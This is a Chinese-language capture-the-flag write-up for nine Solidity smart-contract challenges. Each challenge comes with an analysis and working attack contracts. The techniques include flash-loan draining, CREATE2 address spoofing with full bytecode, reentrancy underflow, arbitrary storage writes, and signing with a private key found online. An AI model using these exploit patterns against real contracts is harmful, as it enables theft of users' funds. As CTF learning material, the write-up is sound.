所有的题目我都放在了代码仓库,由于太长就不放入wp了,感兴趣的可自行移步。
题目预览
- TrusterLenderPool
- 分析
- 攻击
- SVip
- 分析
- 攻击
- Merkle
- 分析
- 攻击
- OwnerBuy
- 分析
- 攻击
- LostAssets
- 分析
- 攻击
- Storage1
- 分析
- 攻击
- FlashLoanMain
- 分析
- 攻击
- Governance
- 分析
- 攻击
- EverytingIsArt
- 分析
- 攻击
TrusterLenderPool
分析
本次大赛的第一题,也是相对来说难度相对较低的一道题
目的是成功调用Complete函数,也就要求我们拿走合约的所有token0余额。
合约创建之初拥有10100个token,拥有两个函数,一个flashloan,一个swap。
看完合约思路就已经很清晰了,用flashloan借钱,再用swap换成token1,在swap的过程中就已经完成了flashloan还钱的操作,最后再用手中的token1换走合约中的token0即可完成攻击。
攻击
攻击合约:
// SPDX-License-Identifier: MITpragma solidity ^0.8.1;
pragma solidity ^0.8.0;
import "./TrusterLenderPool.sol";
contract poolAttack{TrusterLenderPool public pool;Cert public token0;Cert public token1;constructor(address _pool){pool = TrusterLenderPool(_pool);token0=pool.token0();token1 = pool.token1();}function loan(uint256 amount)public{pool.flashLoan(amount,address(this));token1.approve(address(pool),amount);pool.swap(address(token0),amount);}function receiveEther(uint256 amount)public{token0.approve(address(pool),amount);pool.swap(address(token1),amount);}// function ended(uint256 amount)public{// token1.approve(address(pool),amount);// pool.swap(address(token0),amount);// }fallback()external payable{}
}
直接调用loan传入10100*10**18即可完成攻击。
SVip
分析
要求我们成为SuperVip,就是要求我们成功调用promotionSVip函数
合约几个函数很简单,getPoint可以给我们一百个point,transferPoints可以进行point间的转账。很容易能够注意到tansferPoints使用了中间变量来存储转账前 的余额,如果我们的调用者和接受者为同一地址,就等于没扣余额。
攻击
攻击合约:
pragma solidity ^0.4.24;
import "./SVip.sol";
contract svipAttack{SVip sv;constructor(address _addr){sv = SVip(_addr);}function get()public{for(uint i =0;i<99;i++){sv.getPoint();}}function transfer()public{for(uint i=0;i<11;i++){sv.transferPoints(address(this),98);}sv.transferPoints(msg.sender,1000);}
}
用自己的账户调用一次getPoints,然后调用get和transfer,最后调用题目的promotionSVip即可完成攻击。
Merkle
分析
题目需要我们把合约初始化的一个ether全拿出来。
而想要取钱就需要调用withdraw函数,要成功转账则需要我们是merkleTree白名单中的一员,而合约初始化时我们肯定不在其中,这时候就需要调用setMerkleroot设定新的根节点。
此合约的onlyOwner只检查了调用者地址的前两位,很容易想到creat2来创建攻击合约。
这时候思路就很明确了,利用creat2创建跟owner前两位相同的合约,然后设定包含该地址的root,然后直接转账即可。
攻击
攻击合约:
// SPDX-License-Identifier: GPL-3.0pragma solidity ^0.7.0;
import "./Merkle.sol";
contract attack{Merkle merk;constructor(){}function init(address _addr)public{merk = Merkle(_addr);}function att(bytes32 root)public payable{bytes32[] memory proof = new bytes32[](2);// [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;merk.setMerkleroot(root);}function att2()public {bytes32[] memory proof = new bytes32[](2);// [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;merk.withdraw(proof,address(this));}function figure()public returns(bytes32){bytes32[] memory proof = new bytes32[](2);// [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;bytes32 computedHash = keccak256(abi.encodePacked(address(this)));// bytes32 computedHash = msg.sender;for (uint256 i = 0; i < proof.length; i++) {bytes32 proofElement = proof[i];if (computedHash <= proofElement) {// Hash(current computed hash + current element of the proof)computedHash = keccak256(abi.encodePacked(computedHash, proofElement));} else {// Hash(current element of the proof + current computed hash)computedHash = keccak256(abi.encodePacked(proofElement, computedHash));}}return computedHash;}fallback()external payable{}
}
// contract figure{
// bytes20 public mask;
// constructor(){
// mask = hex"ff00000000000000000000000000000000000000";
// }
// }
部署合约:
contract deployed{bytes contractBytecode = hex"608060405234801561001057600080fd5b5061065b806100206000396000f3fe6080604052600436106100435760003560e01c806312c973c11461004657806313b6ae4c1461007457806319ab453c1461009f57806338a39681146100f057610044565b5b005b6100726004803603602081101561005c57600080fd5b8101908080359060200190929190505050610107565b005b34801561008057600080fd5b5061008961025a565b6040518082815260200191505060405180910390f35b3480156100ab57600080fd5b506100ee600480360360208110156100c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061040d565b005b3480156100fc57600080fd5b50610105610450565b005b6000600267ffffffffffffffff8111801561012157600080fd5b506040519080825280602002602001820160405280156101505781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b8160008151811061018357fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b816001815181106101bf57fe5b60200260200101818152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166392f6c439836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561023e57600080fd5b505af1158015610252573d6000803e3d6000fd5b505050505050565b600080600267ffffffffffffffff8111801561027557600080fd5b506040519080825280602002602001820160405280156102a45781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b816000815181106102d757fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b8160018151811061031357fe5b602002602001018181525050600030604051602001808273ffffffffffffffffffffffffffffffffffffffff1660601b815260140191505060405160208183030381529060405280519060200120905060005b825181101561040457600083828151811061037d57fe5b602002602001015190508083116103c457828160405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092506103f6565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b508080600101915050610366565b50809250505090565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600267ffffffffffffffff8111801561046a57600080fd5b506040519080825280602002602001820160405280156104995781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b816000815181106104cc57fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b8160018151811061050857fe5b60200260200101818152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338be559282306040518363ffffffff1660e01b815260040180806020018373ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019060200280838360005b838110156105c05780820151818401526020810190506105a5565b505050509050019350505050602060405180830381600087803b1580156105e657600080fd5b505af11580156105fa573d6000803e3d6000fd5b505050506040513d602081101561061057600080fd5b8101908080519060200190929190505050505056fea2646970667358221220372540e23ad43e92c314947c7fb63098acee553a411ffe0aa1d829d1c303b92464736f6c63430007060033";function deploy(bytes32 salt) public returns(address) {bytes memory bytecode = contractBytecode;address addr;assembly {addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)}return addr;
}function getHash()public view returns(bytes32){return keccak256(contractBytecode);}
}
跟我们的思路一样,先根据脚本(同样在代码仓库中)计算出salt,利用creat2部署攻击合约,在攻击合约中先设定包含我们自己地址的root,随后调用withdraw函数即可完成攻击。
OwnerBuy
分析
题目需要我们的Times大于100。
整个合约中只有buy和sell函数涉及到了Times的增减,buy将我们的Times设定为1,而sell函数将我们的Times–,这里能想到下溢。
我们分别分析两个函数。
要调用buy就需要绕过其中的多个限制,需要owner为指定地址,且需要中间合约,并且Times为0,balance为0,msg.value=1,即可给我们100的余额,且Times为1.
其他的都很好通过,唯独需要指定地址的owner,需要我们先成为owner,再把owner转给指定地址。
成为owner需要我们地址的后四位为ffff,同样是利用creat2即可。
再来看sell
输入值大于200,creat2,Times大于0,balance大于输入值,随后会调用我们的fallback,这里很明显可以重入,且在Times为1的情况下重入一次即可发生下溢,唯一需要的就是我们的余额至少要大于四百,因为需要给合约转两次两百以上的转账。
由于每次buy都只能获得一百的余额,所以一个账户肯定是不行的,我们需要准备四个账户。
transfer函数也需要注意,如果接受者不是白名单的话,最大的余额不能超过一百,我们成为owner的时候需要把我们自己和合约地址设定为白名单。
攻击
攻击合约:
// 0.5.1-c8a2
// Enable optimization
pragma solidity ^0.5.0;
import "./OwnerBuy.sol";
contract ownerBuyAttack{OwnerBuy ownerbuy;bool public count;bool public isowner;constructor()public payable{}function isOwner(address owner) external returns (bool){if(!isowner){isowner=true;return false;}isowner=false;return true;}function init (address _addr)public payable{ownerbuy = OwnerBuy(_addr);}function becomeOwner()public{ownerbuy.changestatus(address(this));ownerbuy.changeOwner();}function setWhite()public{ownerbuy.setWhite(address(this));ownerbuy.setWhite(address(ownerbuy));}function transferOwner()public{ownerbuy.transferOwnership(0x220866B1A2219f40e72f5c628B65D54268cA3A9D);}function buy()public{ownerbuy.buy.value(1)();}function sell()public{ownerbuy.sell(200);}function finish()public{ownerbuy.finish();}function()external payable{if(!count){count=true;ownerbuy.sell(200);}}
}
contract helper{OwnerBuy ownerbuy;constructor(address _addr)public{ownerbuy = OwnerBuy(_addr);}function buy()public payable{ownerbuy.buy.value(1)();}function transfer(address attacker)public{ownerbuy.transfer(attacker,100);}
}
部署合约:
contract deployed{bytes contractBytecode = hex"60806040526109eb806100136000396000f3fe6080604052600436106100915760003560e01c8063a6f2ae3a11610059578063a6f2ae3a1461027e578063d56b288914610295578063df05f42e146102ac578063ead4d3db146102c3578063f9dca989146102f257610091565b806306661abd1461017457806319ab453c146101a35780632f54bf6e146101e757806345710074146102505780637e10e9d114610267575b600060149054906101000a900460ff16610172576001600060146101000a81548160ff0219169083151502179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561013557600080fd5b505af1158015610149573d6000803e3d6000fd5b505050506040513d602081101561015f57600080fd5b8101908080519060200190929190505050505b005b34801561018057600080fd5b50610189610309565b604051808215151515815260200191505060405180910390f35b6101e5600480360360208110156101b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061031c565b005b3480156101f357600080fd5b506102366004803603602081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061035f565b604051808215151515815260200191505060405180910390f35b34801561025c57600080fd5b506102656103bc565b005b34801561027357600080fd5b5061027c61046f565b005b34801561028a57600080fd5b5061029361064a565b005b3480156102a157600080fd5b506102aa6106f3565b005b3480156102b857600080fd5b506102c161079a565b005b3480156102cf57600080fd5b506102d8610868565b604051808215151515815260200191505060405180910390f35b3480156102fe57600080fd5b5061030761087b565b005b600060149054906101000a900460ff1681565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060159054906101000a900460ff16610398576001600060156101000a81548160ff021916908315150217905550600090506103b7565b60008060156101000a81548160ff021916908315150217905550600190505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561043157600080fd5b505af1158015610445573d6000803e3d6000fd5b505050506040513d602081101561045b57600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561050f57600080fd5b505af1158015610523573d6000803e3d6000fd5b505050506040513d602081101561053957600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561060c57600080fd5b505af1158015610620573d6000803e3d6000fd5b505050506040513d602081101561063657600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6f2ae3a60016040518263ffffffff1660e01b81526004016020604051808303818588803b1580156106b457600080fd5b505af11580156106c8573d6000803e3d6000fd5b50505050506040513d60208110156106df57600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d56b28896040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561075c57600080fd5b505af1158015610770573d6000803e3d6000fd5b505050506040513d602081101561078657600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b73220866b1a2219f40e72f5c628b65d54268ca3a9d6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561084e57600080fd5b505af1158015610862573d6000803e3d6000fd5b50505050565b600060159054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166351ec819f306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561091b57600080fd5b505af115801561092f573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166362a094776040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561099c57600080fd5b505af11580156109b0573d6000803e3d6000fd5b5050505056fea265627a7a72315820490de0313b1ad79570c77ae043ce5fe65f40e32cd15657be89fd034ab9e52c2464736f6c63430005110032";function deploy(bytes32 salt) public returns(address) {bytes memory bytecode = contractBytecode;address addr;assembly {addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)}return addr;
}function getHash()public view returns(bytes32){return keccak256(contractBytecode);}
}
首先调用init函数初始化并传入eth供后面使用,然后调用becomeOwner成为owner,然后将我们和合约地址设为白名单,随后转走owner,调用buy。
然后部署三个用来helper合约,用来拿到更多的balance,转给攻击合约辅助后面的攻击。
到这一步我们的balance应该为400,Times为1
随后再成为owner,调用sell函数即可,然后调用finish函数,合约中的钱已经被我们全部转走,完成攻击。
LostAssets
分析
题目要求我们拿走合约所有的weth。
合约提供了两种token,一种erc20也就是weth,另一种为erc20permit,也就是sweth,对weth进行了权限的封装。
此题重点在这个函数,他需要我们拿到对应的授权,才允许我们转走weth,乍一看好像并没有问题,但是weth本身并没有继承erc20permit
也就是说,验证权限的这一部分代码没有任何意义,直接跳到了下面的转账。
所以我们直接转账即可完成攻击。
攻击
输入对应的参数即可,hash,r,s,v等都可以随便输,完成攻击。
Storage1
分析
题目要求我们成为admin,并且我们的gasDeposits要很大。
合约里面好像并没有改变admin的方法,并且gasDeposits也是根据我们传入的value值进行改变的,所以我们需要另寻他路。
这个函数很有意思,他让我们可以随意更改storage中的值,那么很明显,我们直接通过这个函数修改admin和我们对应的gasDeposits即可。
攻击
攻击合约:
contract attack{function figure(address _addr)public view returns(bytes32){return keccak256(abi.encode(_addr,2));}
}
只是为了计算出我们的depositGas在存储中的位置。
第一次放入1,放入我们的地址,修改我们为admin。
第二次放入计算出的值,放入比9999999999999999999999999999999999大的数,修改我们的gas。
攻击成功。
FlashLoanMain
分析
这关要求我们的cert balance大于100个,而airdrop函数一开始就能给我们一百个,所以只要我们的余额多一点就可以了。
看完合约之后很明显能够知道,我们的目的是利用flashloan函数借钱出来,然后调用isCompleted就行了。
所以我们的目的就是依次通过这些require,首先第一个require需要我们获得签名,第二个require则限制了转账金额,第三个是向我们转账,第四个执行我们的回退函数,第五个需要把钱从我们手里转回去。
那么很明显,我们需要绕开的只有第一个require.
这里就涉及到了以太坊的签名机制,ECDSA会根据我们输入的消息哈希,以及签名来还原出地址,而签名需要用该地址的私钥对消息哈希签名得到,也就是说我们的目标就是拿到对应地址的私钥。
通过还原,给出的几个值,能够得到对应地址为
0x001d3F1ef827552Ae1114027BD3ECF1f086bA0F9
而这个地址经常用于web3中,所以google一下很轻松就能够获取到他的私钥,可以进行攻击了。
攻击
攻击合约:
contract attck{bytes32 public msgHash = 0x1a6092262d7dc33c2f4b9913ad9318a8c41a138bb42dfacd4c7b6b46b8656522;bytes32 public r = 0xb158f1759111cd99128505f450f608c97178e2b6b9b6f7c3b0d2949e3a21cd02;bytes32 public s = 0x3ade8887fce9b513d41eb36180d6f7d9e072c756991034de2c9a5da541fb8184;uint8 public v = 0x1b;FlashLoanMain public flashloanAddr;address public flashLoanPriveder;Cert cert;function init(address _addr,address _privedor,address _cert)public {flashloanAddr = FlashLoanMain( _addr);flashLoanPriveder = _privedor;cert = Cert(_cert);}function figure()public view returns(address){return ECDSAUpgradeable.recover(msgHash,v,r,s);}function att(IFlashBorrower borrower,address token,uint256 amount,bytes memory signature)public{IFlashLoanPriveder(flashLoanPriveder).flashLoan(borrower,token,amount,signature,bytes(""));}function air()public{flashloanAddr.airdrop();}function onFlashLoan(address initiator,address token,uint256 amount,bytes calldata data) external returns (bool){flashloanAddr.Complete();cert.approve(flashLoanPriveder,amount);return true;}}
google获取私钥后,接下来的操作就是签名,签名脚本如下:
from eth_account import Accountmessagehash = "0xb4474375ee0d4abdd0612fd733942feeb646d5f85bddaff21aff4acd36c41e8d"
privatekey ="0xf8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315"
signMessage = Account.signHash(message_hash=messagehash,
private_key=privatekey)
print("signature =",signMessage)
由于web3.js和小狐狸的签名都会在签名先加上通用前缀,而这个题并没有加上前缀而是直接进行了ecrecover,所以我选择了使用web3.py来进行签名操作。拿到签名后,把签名以及对应的参数一起放入攻击合约的att函数,即可完成攻击。
Governance
分析
题目要求我们成为validator后才能拿到旗。
而成为validator又需要我们的vote也就是投票数大于mster的总数的三分之二。
只有master的owner能进行投票,并且只能投一次,根据对应master的余额获得投票数。
masterChef简要来说就是一个拥有利率系统的代币,让人感到出人意料的是下面这个函数。
他的作用是用来取走所有的master,但是却使用了memory类型的变量,也就是说我取出我的钱之后,在代币池中的余额并不会减少,也就是说我们可以凭此拿走池子所有的余额。
而只要我们拿到一百万以上的余额,我们就可以成为owner,也就可以投票了
但池子的余额也只有一千万,离总余额的三分之二,也就是七千三百万还差得很远。
但master同时也是一个erc20代币,我们可以利用多个地址,在我们自己vote之后,把代币发给其他的地址,依次进行vote,很轻松能够拿到多余七千三百万的vote。
攻击
contract attack{MasterChef master;Governance gover;address[7] helpers;address public owner;constructor(address _master,address _gover)public{master = MasterChef(_master);gover = Governance(_gover);owner = msg.sender;}function getAir()public{for (uint i=0;i<1000;i++){master.airdorp();}}function getOwner()public{master.transferOwnership(address(this));}function vode()public{gover.vote(owner);}function setHelpers()public{for(uint i=0;i<helpers.length;i++){helpers[i]=address(new helper(address(master),address(gover)));}}function getBalance()public{for(uint i=0;i<1000;i++){master.emergencyWithdraw(0);}}function transferd()public{master.approve(address(master),master.balanceOf(address(this)));master.deposit(0,master.balanceOf(address(this)));}function getVote()public{master.transfer(helpers[0],10000000);helper(helpers[0]).getOwner();helper(helpers[0]).vode(owner);for (uint i=0;i<helpers.length-1;i++){helper(helpers[i]).transferd(helpers[i+1]);helper(helpers[i+1]).getOwner();helper(helpers[i+1]).vode(owner);}helper(helpers[6]).transferd(address(this));}
}
contract helper{MasterChef master;Governance gover;constructor(address _master,address _gover)public{master = MasterChef(_master);gover = Governance(_gover);}function getOwner()public{master.transferOwnership(address(this));}function vode(address _addr)public{gover.vote(_addr);}function transferd(address _addr)public{master.transfer(_addr,10000000);}
}
依次调用getair,transferd,十次getbalance,getOwner,vode,setHelper,getVote函数,即可完成攻击。
EverytingIsArt
分析
题目要求我们balance等于288.
这个题令我出乎意料,我以为最后一题应该会是最难的一题,没想到是最简单的一题。
直接在该函数中传入288即可。
除了这种解决方法,另两个关于hope的函数还存在重入问题,即先进行mint后改变状态变量,按理来说同样可以达成条件,但一旦重入次数超过107,就会发生gas费超标的问题,两个函数分别重入107次也达不到288,但也同样是一个漏洞。
攻击
直接在becomeAnArtist中输入288,即可完成攻击。